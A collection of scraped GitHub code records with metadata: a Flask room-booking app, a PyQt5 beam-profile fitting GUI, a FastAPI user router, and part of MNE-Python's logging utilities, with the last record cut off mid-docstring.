{"seq_id": "9698530500", "text": "# Imports\nfrom flask import Flask                 # general web development\nfrom flask import render_template       # render html5 templates\nfrom flask import request               #\nfrom flask import redirect              #\nfrom flask_sqlalchemy import SQLAlchemy # create sqlite databases using python3\n\n# create the flask application object\napp = Flask(__name__)\n\n# create a database and link it to the app\napp.config[\"SQLALCHEMY_DATABASE_URI\"] = \"sqlite:///rooms.db\"\napp.config[\"SQLALCHEMY_TRACK_MODIFICATIONS\"] = False\ndb = SQLAlchemy(app)\n\n# create a table of rooms\nclass Rooms(db.Model):\n    id = db.Column(db.Integer, primary_key = True)\n    name = db.Column(db.String(16), nullable = False)\n    number = db.Column(db.Integer, nullable = False)\n    capacity = db.Column(db.Integer, nullable = False)\n    \n@app.route('/about')\ndef about():\n    return render_template(\"aboutMe.html\")\n\n@app.route('/init_db')\ndef init_db():\n    db.drop_all()\n    db.create_all()\n    return 'DB initialized'\n\n@app.route('/create', methods=['GET','POST'])\ndef create():\n    if request.form:\n        name = request.form.get(\"name\")\n        number = request.form.get(\"number\")\n        capacity = request.form.get(\"capacity\")\n        new_room = Rooms(name = name,number = number ,capacity = capacity)\n        db.session.add(new_room)\n        db.session.commit()\n        \n    all_rooms = Rooms.query.all()\n    return render_template(\"create.html\", all_rooms = all_rooms, title = \"Create a Room\")\n\n@app.route('/')\ndef read():\n    all_rooms = Rooms.query.all()\n\n   \n    \n    return render_template(\"read.html\", all_rooms = all_rooms, title = \"Rooms Listing\", year = \"2020\")\n    \n@app.route('/update/', methods = ['GET', 'POST'])\ndef update(room_id):\n    update_room = Rooms.query.get(room_id)\n    if request.form:\n        update_room.name = request.form.get(\"name\")\n        update_room.number = request.form.get(\"number\")\n        update_room.capacity = request.form.get(\"capacity\")\n        db.session.commit()\n    all_rooms = Rooms.query.all()\n    return render_template(\"update.html\", update_room = update_room, all_rooms = all_rooms, title = \"Update a room\")\n\n@app.route('/delete/') # add id\ndef delete(room_id):\n    delete_room = Rooms.query.get(room_id)\n    db.session.delete(delete_room)\n    db.session.commit()\n    return redirect(\"/\")\n\nif __name__ == '__main__':\n    app.run(debug=True)\n", "repo_name": "KevinPham123/EECE4081_Rooms-Kevin", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 2392, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask.Flask", "line_number": 9, "usage_type": "call"}, {"api_name": "flask_sqlalchemy.SQLAlchemy", "line_number": 14, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 25, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 35, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 35, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 36, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 36, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 36, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 37, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 37, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 37, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 38, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 38, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 38, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 44, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 52, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 57, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 57, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 58, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 58, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 58, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 59, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 59, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 59, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 60, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 60, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 60, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 63, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 70, "usage_type": "call"}]}
{"seq_id": "70193619431", "text": "\nimport sys\nfrom PyQt5.QtWidgets import QSizePolicy, QTextEdit, QMainWindow, QApplication, QWidget, QAction, QTableWidget,QTableWidgetItem,QVBoxLayout,QPushButton, QHBoxLayout\nfrom PyQt5.QtGui import QIcon\nfrom PyQt5.QtCore import pyqtSlot\nimport numpy as np\nimport scipy\nfrom lmfit import Minimizer, Parameters, report_fit\n\nimport random\n\nfrom matplotlib.backends.qt_compat import QtCore, QtWidgets, is_pyqt5\nif is_pyqt5():\n    from matplotlib.backends.backend_qt5agg import (\n        FigureCanvas, NavigationToolbar2QT as NavigationToolbar)\nelse:\n    from matplotlib.backends.backend_qt4agg import (\n        FigureCanvas, NavigationToolbar2QT as NavigationToolbar)\nfrom matplotlib.figure import Figure\n\n\n# define objective function: returns the array to be minimized\ndef fcn2min(params, x, data, plot_fit = False):\n    \"\"\"Model a decaying sine wave and subtract data.\"\"\"\n    amplitude = params['amplitude']\n    waist = params['waist']\n    x_offset = params['x_offset']\n    y_offset = params['y_offset']\n    \n    if plot_fit == False:\n        model = amplitude/2.0 * (1 - scipy.special.erf(np.sqrt(2.0) * (x - x_offset)/waist)) + y_offset\n        \n        return model - data\n    else:\n        x_plot = np.linspace(np.min(x), np.max(x), 100)\n        model = amplitude/2.0 * (1 - scipy.special.erf(np.sqrt(2.0) * (x_plot - x_offset)/waist)) + y_offset\n        return (x_plot, model)\n    \n\n\nclass App(QWidget):\n \n    def __init__(self):\n        super().__init__()\n        self.title = 'PyQt5 table - pythonspot.com'\n        self.left = 0\n        self.top = 0\n        self.width = 1000\n        self.height = 500\n        self.no_of_rows = 20\n        self.initUI()\n \n    def initUI(self):\n        self.setWindowTitle(self.title)\n        self.setGeometry(self.left, self.top, self.width, self.height)\n \n        self.createTable()\n \n        self.button = QPushButton('Fit', self)\n        self.button.setToolTip('This is an example button')\n        self.button.move(100,70)\n        self.button.clicked.connect(self.button_click)\n\n\n        self.canvas = PlotCanvas(self, width=5, height=4)\n        self.canvas.move(0,0)\n\n        self.textbox = QTextEdit()\n\n        # Add box layout, add table to box layout and add box layout to widget\n        self.layout = QHBoxLayout()\n        self.layout.addWidget(self.tableWidget) \n        self.layout.addWidget(self.canvas) \n        self.layout.addWidget(self.button) \n        self.layout.addWidget(self.textbox) \n        self.setLayout(self.layout) \n \n        # Show widget\n        self.show()\n        \n        self.setWindowTitle(self.title)\n        self.setGeometry(self.left, self.top, self.width, self.height)\n      \n        self.show()\n\n        \n    @pyqtSlot()\n    def button_click(self):\n        print('PyQt5 button click')\n        #self.tableWidget.setItem(0,0, QTableWidgetItem(\"pressed\"))\n\n        self.x = np.array([])\n        self.y = np.array([])\n\n        for k in range(self.no_of_rows):\n            \n            hlp = self.tableWidget.item(k,0)\n            if not hlp is None:\n                self.x = np.append(self.x, np.float(hlp.text()))\n            else:\n                break\n            hlp = self.tableWidget.item(k,1)\n            if not hlp is None:\n                self.y = np.append(self.y, np.float(hlp.text()))\n\n        print(self.x)\n        print(self.y)\n\n        params = Parameters()\n        params.add('amplitude', value=np.max(self.y), min=(np.max(self.y) - np.min(self.y))/2.0, max=(np.max(self.y) - np.min(self.y)))\n        params.add('waist', value=(np.max(self.x)-np.min(self.x))/2.0, min=10.0, max=2000)\n        params.add('x_offset', value=np.mean(self.x), min=np.min(self.x), max = np.max(self.x))\n        params.add('y_offset', value=0.0, min=0.00, max=np.max(self.y), vary = False)\n\n        # do fit, here with leastsq model\n        minner = Minimizer(fcn2min, params, fcn_args=(self.x, self.y))\n        result = minner.minimize()\n\n        # write error report\n        self.textbox.setText(\"\")\n        for k in params.keys():\n            my_str = str(result.params[k].value)\n            self.textbox.append(str(k) + \" = \" + my_str + \"\\n\")\n\n        self.canvas.x = self.x\n        self.canvas.y = self.y\n\n        self.canvas.plot(fit_plot = result)\n\n\n    def createTable(self):\n       # Create table\n        self.tableWidget = QTableWidget()\n        self.tableWidget.setRowCount(self.no_of_rows)\n        self.tableWidget.setColumnCount(2)\n        #self.tableWidget.setItem(0,0, QTableWidgetItem(\"Cell (1,1)\"))\n        #self.tableWidget.setItem(0,1, QTableWidgetItem(\"Cell (1,2)\"))\n        #self.tableWidget.setItem(1,0, QTableWidgetItem(\"Cell (2,1)\"))\n        #self.tableWidget.setItem(1,1, QTableWidgetItem(\"Cell (2,2)\"))\n        #self.tableWidget.setItem(2,0, QTableWidgetItem(\"Cell (3,1)\"))\n        #self.tableWidget.setItem(2,1, QTableWidgetItem(\"Cell (3,2)\"))\n        #self.tableWidget.setItem(3,0, QTableWidgetItem(\"Cell (4,1)\"))\n        #self.tableWidget.setItem(3,1, QTableWidgetItem(\"Cell (4,2)\"))\n        self.tableWidget.move(0,0)\n\n        hlp = np.array([\n           [ 1524,3.66 ], \n           [ 1651,3.5 ],\n           [ 1676.4,3.17 ],\n           [ 1701.8,2.53 ],\n           [ 1727.2,1.71 ],\n           [ 1752.6,0.87 ],\n           [ 1778,0.32 ],\n           [ 1803.4,0.1 ],\n           [ 1828.8,0.016 ],\n           [ 1854.2,0.001 ],\n            ])\n        self.x = hlp[:, 0]\n        self.y = hlp[:, 1]\n\n        for k in range(len(self.x)):\n\n            self.tableWidget.setItem(k,0, QTableWidgetItem(str(self.x[k])))\n            self.tableWidget.setItem(k,1, QTableWidgetItem(str(self.y[k])))\n\n        #self.tableWidget.installEventFilters(self)\n\n        # table selection change\n        self.tableWidget.doubleClicked.connect(self.on_click)\n \n    @pyqtSlot()\n    def on_click(self):\n        print(\"\\n\")\n        for currentQTableWidgetItem in self.tableWidget.selectedItems():\n            print(currentQTableWidgetItem.row(), currentQTableWidgetItem.column(), currentQTableWidgetItem.text())\n    \n    def eventFilter(self, source, event):\n        if (event.type() == QtCore.QEvent.KeyPress and\n            event.matches(QtGui.QKeySequence.Copy)):\n            self.copySelection()\n            return True\n        return super(Window, self).eventFilter(source, event)\n\n\n\nclass PlotCanvas(FigureCanvas):\n \n    def __init__(self, parent=None, width=5, height=4, dpi=100):\n        fig = Figure(figsize=(width, height), dpi=dpi)\n        self.axes = fig.add_subplot(111)\n \n        FigureCanvas.__init__(self, fig)\n        self.setParent(parent)\n \n        FigureCanvas.setSizePolicy(self,\n                QSizePolicy.Expanding,\n                QSizePolicy.Expanding)\n        FigureCanvas.updateGeometry(self)\n        self.x = []\n        self.y = []\n        self.plot()\n \n \n    def plot(self, fit_plot = None):\n        ax = self.figure.add_subplot(111)\n        # data\n        ax.plot(self.x, self.y, 'ro')\n        # fit\n        if not fit_plot is None:\n            (fit_x, fit_y) = fcn2min(fit_plot.params, self.x, None, plot_fit = True)\n            ax.plot(fit_x, fit_y)\n        self.draw()\n\nif __name__ == '__main__':\n    app = QApplication(sys.argv)\n    ex = App()\n    sys.exit(app.exec_())\n", "repo_name": "hemmerlinglab/Raspi_BeamProfiler", "sub_path": "Profiler_GUI/profiler.py", "file_name": "profiler.py", "file_ext": "py", "file_size_in_byte": 7168, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "matplotlib.backends.qt_compat.is_pyqt5", "line_number": 13, "usage_type": "call"}, {"api_name": "scipy.special.erf", "line_number": 31, "usage_type": "call"}, {"api_name": "scipy.special", "line_number": 31, "usage_type": "attribute"}, {"api_name": "numpy.sqrt", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 35, "usage_type": "call"}, {"api_name": "scipy.special.erf", "line_number": 36, "usage_type": "call"}, {"api_name": "scipy.special", "line_number": 36, "usage_type": "attribute"}, {"api_name": "numpy.sqrt", "line_number": 36, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 41, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 59, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QTextEdit", "line_number": 68, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QHBoxLayout", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.float", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.float", "line_number": 104, "usage_type": "call"}, {"api_name": "lmfit.Parameters", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 113, "usage_type": "call"}, {"api_name": "lmfit.Minimizer", "line_number": 116, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 87, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QTableWidget", "line_number": 133, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 146, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QTableWidgetItem", "line_number": 163, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QTableWidgetItem", "line_number": 164, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 171, "usage_type": "call"}, {"api_name": "matplotlib.backends.qt_compat.QtCore.QEvent", "line_number": 178, "usage_type": "attribute"}, {"api_name": "matplotlib.backends.qt_compat.QtCore", "line_number": 178, "usage_type": "name"}, {"api_name": "matplotlib.backends.backend_qt4agg.FigureCanvas", "line_number": 186, "usage_type": "name"}, {"api_name": "matplotlib.figure.Figure", "line_number": 189, "usage_type": "call"}, {"api_name": "matplotlib.backends.backend_qt4agg.FigureCanvas.__init__", "line_number": 192, "usage_type": "call"}, {"api_name": "matplotlib.backends.backend_qt4agg.FigureCanvas", "line_number": 192, "usage_type": "name"}, {"api_name": "matplotlib.backends.backend_qt4agg.FigureCanvas.setSizePolicy", "line_number": 195, "usage_type": "call"}, {"api_name": "matplotlib.backends.backend_qt4agg.FigureCanvas", "line_number": 195, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QSizePolicy.Expanding", "line_number": 196, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QSizePolicy", "line_number": 196, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QSizePolicy.Expanding", "line_number": 197, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QSizePolicy", "line_number": 197, "usage_type": "name"}, {"api_name": "matplotlib.backends.backend_qt4agg.FigureCanvas.updateGeometry", "line_number": 198, "usage_type": "call"}, {"api_name": "matplotlib.backends.backend_qt4agg.FigureCanvas", "line_number": 198, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 215, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 215, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 217, "usage_type": "call"}]}
{"seq_id": "70102853989", "text": "from fastapi import APIRouter\nfrom schemas.user_schema import User\nfrom controllers import user_controller\nfrom bson.objectid import ObjectId\nfrom extras.description_swagger.description_user import (\n    CREATE_USER,\n    GET_USER,\n    GET_USERS,\n    GET_USERS_BY_EMAIL,\n    UPDATE_USER,\n    DELETE_USER\n)\n\n\nrouter = APIRouter(\n    prefix=\"/user\",\n    tags=[\"user\"],\n    responses={404: {\"description\": \"Not found\"}},\n)\n\n@router.get(\"/\")\nasync def read_root():\n    return \"funcionou amigo!\"\n\n@router.post(\"/\", \n        summary=\"Cadastro novo usuário\",\n        description=CREATE_USER)\nasync def create_user(user:User):\n    return await user_controller.create_user(user)\n\n@router.get(\"/{id}/\", \n        summary=\"Buscar usuário pelo id\",\n        description=GET_USER)\nasync def get_user(id:str):\n    return await user_controller.get_user(ObjectId(id))\n\n@router.get(\"/get_all_users\",\n        summary=\"Buscar usuário\",\n        description=GET_USERS)\nasync def get_users():\n    return await user_controller.get_users()\n\n@router.get(\"/get_user_by_email\",\n        summary=\"Buscar usuário pelo email\",\n        description=GET_USERS_BY_EMAIL)\nasync def get_user_by_email(email:str):\n    return await user_controller.get_user_by_email(email)\n\n@router.put(\"/update_user/{id}\",\n        summary=\"Atualizar usuário\",\n        description=UPDATE_USER)\nasync def update_user(id:str, user:User):\n    return await user_controller.update_user(user_id=ObjectId(id), user_data=user)\n\n@router.delete(\"/delete_user\", \n        summary=\"Deletar usuário\",\n        description=DELETE_USER)\nasync def delete_user(id:str):\n    return await user_controller.delete_user(ObjectId(id))\n", "repo_name": "giugabriella/Projeto_final", "sub_path": "source/routes/user_route.py", "file_name": "user_route.py", "file_ext": "py", "file_size_in_byte": 1657, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "fastapi.APIRouter", "line_number": 15, "usage_type": "call"}, {"api_name": "schemas.user_schema.User", "line_number": 28, "usage_type": "name"}, {"api_name": "controllers.user_controller.create_user", "line_number": 29, "usage_type": "call"}, {"api_name": "controllers.user_controller", "line_number": 29, "usage_type": "name"}, {"api_name": "extras.description_swagger.description_user.CREATE_USER", "line_number": 27, "usage_type": "name"}, {"api_name": "controllers.user_controller.get_user", "line_number": 35, "usage_type": "call"}, {"api_name": "controllers.user_controller", "line_number": 35, "usage_type": "name"}, {"api_name": "bson.objectid.ObjectId", "line_number": 35, "usage_type": "call"}, {"api_name": "extras.description_swagger.description_user.GET_USER", "line_number": 33, "usage_type": "name"}, {"api_name": "controllers.user_controller.get_users", "line_number": 41, "usage_type": "call"}, {"api_name": "controllers.user_controller", "line_number": 41, "usage_type": "name"}, {"api_name": "extras.description_swagger.description_user.GET_USERS", "line_number": 39, "usage_type": "name"}, {"api_name": "controllers.user_controller.get_user_by_email", "line_number": 47, "usage_type": "call"}, {"api_name": "controllers.user_controller", "line_number": 47, "usage_type": "name"}, {"api_name": "extras.description_swagger.description_user.GET_USERS_BY_EMAIL", "line_number": 45, "usage_type": "name"}, {"api_name": "schemas.user_schema.User", "line_number": 52, "usage_type": "name"}, {"api_name": "controllers.user_controller.update_user", "line_number": 53, "usage_type": "call"}, {"api_name": "controllers.user_controller", "line_number": 53, "usage_type": "name"}, {"api_name": "bson.objectid.ObjectId", "line_number": 53, "usage_type": "call"}, {"api_name": "extras.description_swagger.description_user.UPDATE_USER", "line_number": 51, "usage_type": "name"}, {"api_name": "controllers.user_controller.delete_user", "line_number": 59, "usage_type": "call"}, {"api_name": "controllers.user_controller", "line_number": 59, "usage_type": "name"}, {"api_name": "bson.objectid.ObjectId", "line_number": 59, "usage_type": "call"}, {"api_name": "extras.description_swagger.description_user.DELETE_USER", "line_number": 57, "usage_type": "name"}]}
{"seq_id": "19287856035", "text": "import contextlib\nimport importlib\nimport inspect\nimport logging\nimport os.path as op\nimport re\nimport sys\nimport warnings\nfrom io import StringIO\nfrom typing import Any, Callable, TypeVar\n\nfrom decorator import FunctionMaker\n\nfrom .docs import fill_doc\n\nlogger = logging.getLogger(\"mne\")  # one selection here used across mne-python\nlogger.propagate = False  # don't propagate (in case of multiple imports)\n\n\n# class to provide frame information (should be low overhead, just on logger\n# calls)\n\n\nclass _FrameFilter(logging.Filter):\n    def __init__(self):\n        self.add_frames = 0\n\n    def filter(self, record):\n        record.frame_info = \"Unknown\"\n        if self.add_frames:\n            # 5 is the offset necessary to get out of here and the logging\n            # module, reversal is to put the oldest at the top\n            frame_info = _frame_info(5 + self.add_frames)[5:][::-1]\n            if len(frame_info):\n                frame_info[-1] = (frame_info[-1] + \" :\").ljust(30)\n                if len(frame_info) > 1:\n                    frame_info[0] = \"┌\" + frame_info[0]\n                    frame_info[-1] = \"└\" + frame_info[-1]\n                for ii, info in enumerate(frame_info[1:-1], 1):\n                    frame_info[ii] = \"├\" + info\n                record.frame_info = \"\\n\".join(frame_info)\n        return True\n\n\n_filter = _FrameFilter()\nlogger.addFilter(_filter)\n\n\n# Provide help for static type checkers:\n# https://mypy.readthedocs.io/en/stable/generics.html#declaring-decorators\n_FuncT = TypeVar(\"_FuncT\", bound=Callable[..., Any])\n\n\ndef verbose(function: _FuncT) -> _FuncT:\n    \"\"\"Verbose decorator to allow functions to override log-level.\n\n    Parameters\n    ----------\n    function : callable\n        Function to be decorated by setting the verbosity level.\n\n    Returns\n    -------\n    dec : callable\n        The decorated function.\n\n    See Also\n    --------\n    set_log_level\n    set_config\n\n    Notes\n    -----\n    This decorator is used to set the verbose level during a function or method\n    call, such as :func:`mne.compute_covariance`. The `verbose` keyword\n    argument can be 'DEBUG', 'INFO', 'WARNING', 'ERROR', 'CRITICAL', True (an\n    alias for 'INFO'), or False (an alias for 'WARNING'). To set the global\n    verbosity level for all functions, use :func:`mne.set_log_level`.\n\n    This function also serves as a docstring filler.\n\n    Examples\n    --------\n    You can use the ``verbose`` argument to set the verbose level on the fly::\n\n        >>> import mne\n        >>> cov = mne.compute_raw_covariance(raw, verbose='WARNING')  # doctest: +SKIP\n        >>> cov = mne.compute_raw_covariance(raw, verbose='INFO')  # doctest: +SKIP\n        Using up to 49 segments\n        Number of samples used : 5880\n        [done]\n    \"\"\"  # noqa: E501\n    # See https://decorator.readthedocs.io/en/latest/tests.documentation.html\n    # #dealing-with-third-party-decorators\n    try:\n        fill_doc(function)\n    except TypeError:  # nothing to add\n        pass\n\n    # Anything using verbose should have `verbose=None` in the signature.\n    # This code path will raise an error if this is not the case.\n    body = \"\"\"\\\ndef %(name)s(%(signature)s):\\n\n    try:\n        do_level_change = verbose is not None\n    except (NameError, UnboundLocalError):\n        raise RuntimeError('Function/method %%s does not accept verbose '\n                           'parameter' %% (_function_,)) from None\n    if do_level_change:\n        with _use_log_level_(verbose):\n            return _function_(%(shortsignature)s)\n    else:\n        return _function_(%(shortsignature)s)\"\"\"\n    evaldict = dict(_use_log_level_=use_log_level, _function_=function)\n    fm = FunctionMaker(function)\n    attrs = dict(\n        __wrapped__=function,\n        __qualname__=function.__qualname__,\n        __globals__=function.__globals__,\n    )\n    return fm.make(body, evaldict, addsource=True, **attrs)\n\n\n@fill_doc\nclass use_log_level:\n    \"\"\"Context manager for logging level.\n\n    Parameters\n    ----------\n    %(verbose)s\n    %(add_frames)s\n\n    See Also\n    --------\n    mne.verbose\n\n    Notes\n    -----\n    See the :ref:`logging documentation ` for details.\n\n    Examples\n    --------\n    >>> from mne import use_log_level\n    >>> from mne.utils import logger\n    >>> with use_log_level(False):\n    ...     # Most MNE logger messages are \"info\" level, False makes them not\n    ...     # print:\n    ...     logger.info('This message will not be printed')\n    >>> with use_log_level(True):\n    ...     # Using verbose=True in functions, methods, or this context manager\n    ...     # will ensure they are printed\n    ...     logger.info('This message will be printed!')\n    This message will be printed!\n    \"\"\"\n\n    def __init__(self, verbose=None, *, add_frames=None):\n        self._level = verbose\n        self._add_frames = add_frames\n        self._old_frames = _filter.add_frames\n\n    def __enter__(self):  # noqa: D105\n        self._old_level = set_log_level(\n            self._level, return_old_level=True, add_frames=self._add_frames\n        )\n\n    def __exit__(self, *args):  # noqa: D105\n        add_frames = self._old_frames if self._add_frames is not None else None\n        set_log_level(self._old_level, add_frames=add_frames)\n\n\n_LOGGING_TYPES = dict(\n    DEBUG=logging.DEBUG,\n    INFO=logging.INFO,\n    WARNING=logging.WARNING,\n    ERROR=logging.ERROR,\n    CRITICAL=logging.CRITICAL,\n)\n\n\n@fill_doc\ndef set_log_level(verbose=None, return_old_level=False, add_frames=None):\n    \"\"\"Set the logging level.\n\n    Parameters\n    ----------\n    verbose : bool, str, int, or None\n        The verbosity of messages to print. If a str, it can be either DEBUG,\n        INFO, WARNING, ERROR, or CRITICAL. Note that these are for\n        convenience and are equivalent to passing in logging.DEBUG, etc.\n        For bool, True is the same as 'INFO', False is the same as 'WARNING'.\n        If None, the environment variable MNE_LOGGING_LEVEL is read, and if\n        it doesn't exist, defaults to INFO.\n    return_old_level : bool\n        If True, return the old verbosity level.\n    %(add_frames)s\n\n    Returns\n    -------\n    old_level : int\n        The old level. Only returned if ``return_old_level`` is True.\n    \"\"\"\n    old_verbose = logger.level\n    verbose = _parse_verbose(verbose)\n\n    if verbose != old_verbose:\n        logger.setLevel(verbose)\n    if add_frames is not None:\n        _filter.add_frames = int(add_frames)\n        fmt = \"%(frame_info)s \" if add_frames else \"\"\n        fmt += \"%(message)s\"\n        fmt = logging.Formatter(fmt)\n        for handler in logger.handlers:\n            handler.setFormatter(fmt)\n    return old_verbose if return_old_level else None\n\n\ndef _parse_verbose(verbose):\n    from .check import _check_option, _validate_type\n    from .config import get_config\n\n    _validate_type(verbose, (bool, str, int, None), \"verbose\")\n    if verbose is None:\n        verbose = get_config(\"MNE_LOGGING_LEVEL\", \"INFO\")\n    elif isinstance(verbose, bool):\n        if verbose is True:\n            verbose = \"INFO\"\n        else:\n            verbose = \"WARNING\"\n    if isinstance(verbose, str):\n        verbose = verbose.upper()\n        _check_option(\"verbose\", verbose, _LOGGING_TYPES, \"(when a string)\")\n        verbose = _LOGGING_TYPES[verbose]\n\n    return verbose\n\n\ndef set_log_file(fname=None, output_format=\"%(message)s\", overwrite=None):\n    \"\"\"Set the log to print to a file.\n\n    Parameters\n    ----------\n    fname : path-like | None\n        Filename of the log to print to. If None, stdout is used.\n        To suppress log outputs, use set_log_level('WARNING').\n    output_format : str\n        Format of the output messages. See the following for examples:\n\n            https://docs.python.org/dev/howto/logging.html\n\n        e.g., \"%(asctime)s - %(levelname)s - %(message)s\".\n    overwrite : bool | None\n        Overwrite the log file (if it exists). Otherwise, statements\n        will be appended to the log (default). None is the same as False,\n        but additionally raises a warning to notify the user that log\n        entries will be appended.\n    \"\"\"\n    _remove_close_handlers(logger)\n    if fname is not None:\n        if op.isfile(fname) and overwrite is None:\n            # Don't use warn() here because we just want to\n            # emit a warnings.warn here (not logger.warn)\n            warnings.warn(\n                \"Log entries will be appended to the file. Use \"\n                \"overwrite=False to avoid this message in the \"\n                \"future.\",\n                RuntimeWarning,\n                stacklevel=2,\n            )\n            overwrite = False\n        mode = \"w\" if overwrite else \"a\"\n        lh = logging.FileHandler(fname, mode=mode)\n    else:\n        \"\"\"we should just be able to do:\n            lh = logging.StreamHandler(sys.stdout)\n        but because doctests uses some magic on stdout, we have to do this:\n        \"\"\"\n        lh = logging.StreamHandler(WrapStdOut())\n\n    lh.setFormatter(logging.Formatter(output_format))\n    # actually add the stream handler\n    logger.addHandler(lh)\n\n\ndef _remove_close_handlers(logger):\n    for h in list(logger.handlers):\n        # only remove our handlers (get along nicely with nose)\n        if isinstance(h, (logging.FileHandler, logging.StreamHandler)):\n            if isinstance(h, logging.FileHandler):\n                h.close()\n            logger.removeHandler(h)\n\n\nclass ClosingStringIO(StringIO):\n    \"\"\"StringIO that closes after getvalue().\"\"\"\n\n    def getvalue(self, close=True):\n        \"\"\"Get the value.\"\"\"\n        out = super().getvalue()\n        if close:\n            self.close()\n        return out\n\n\nclass catch_logging:\n    \"\"\"Store logging.\n\n    This will remove all other logging handlers, and return the handler to\n    stdout when complete.\n    \"\"\"\n\n    def __init__(self, verbose=None):\n        self.verbose = verbose\n\n    def __enter__(self):  # noqa: D105\n        if self.verbose is not None:\n            self._ctx = use_log_level(self.verbose)\n        else:\n            self._ctx = contextlib.nullcontext()\n        self._data = ClosingStringIO()\n        self._lh = logging.StreamHandler(self._data)\n        self._lh.setFormatter(logging.Formatter(\"%(message)s\"))\n        self._lh._mne_file_like = True  # monkey patch for warn() use\n        _remove_close_handlers(logger)\n        logger.addHandler(self._lh)\n        self._ctx.__enter__()\n        return self._data\n\n    def __exit__(self, *args):  # noqa: D105\n        self._ctx.__exit__(*args)\n        logger.removeHandler(self._lh)\n        set_log_file(None)\n\n\n@contextlib.contextmanager\ndef _record_warnings():\n    # this is a helper that mostly acts like pytest.warns(None) did before\n    # pytest 7\n    with warnings.catch_warnings(record=True) as w:\n        warnings.simplefilter(\"always\")\n        yield w\n\n\nclass WrapStdOut:\n    \"\"\"Dynamically wrap to sys.stdout.\n\n    This makes packages that monkey-patch sys.stdout (e.g.doctest,\n    sphinx-gallery) work properly.\n    \"\"\"\n\n    def __getattr__(self, name):  # noqa: D105\n        # Even more ridiculous than this class, this must be sys.stdout (not\n        # just stdout) in order for this to work (tested on OSX and Linux)\n        if hasattr(sys.stdout, name):\n            return getattr(sys.stdout, name)\n        else:\n            raise AttributeError(\"'file' object has not attribute '%s'\" % name)\n\n\n_verbose_dec_re = re.compile(\"^$\")\n\n\ndef warn(message, category=RuntimeWarning, module=\"mne\", ignore_namespaces=(\"mne\",)):\n    \"\"\"Emit a warning with trace outside the mne namespace.\n\n    This function takes arguments like warnings.warn, and sends messages\n    using both ``warnings.warn`` and ``logger.warn``. Warnings can be\n    generated deep within nested function calls. In order to provide a\n    more helpful warning, this function traverses the stack until it\n    reaches a frame outside the ``mne`` namespace that caused the error.\n\n    Parameters\n    ----------\n    message : str\n        Warning message.\n    category : instance of Warning\n        The warning class. Defaults to ``RuntimeWarning``.\n    module : str\n        The name of the module emitting the warning.\n    ignore_namespaces : list of str\n    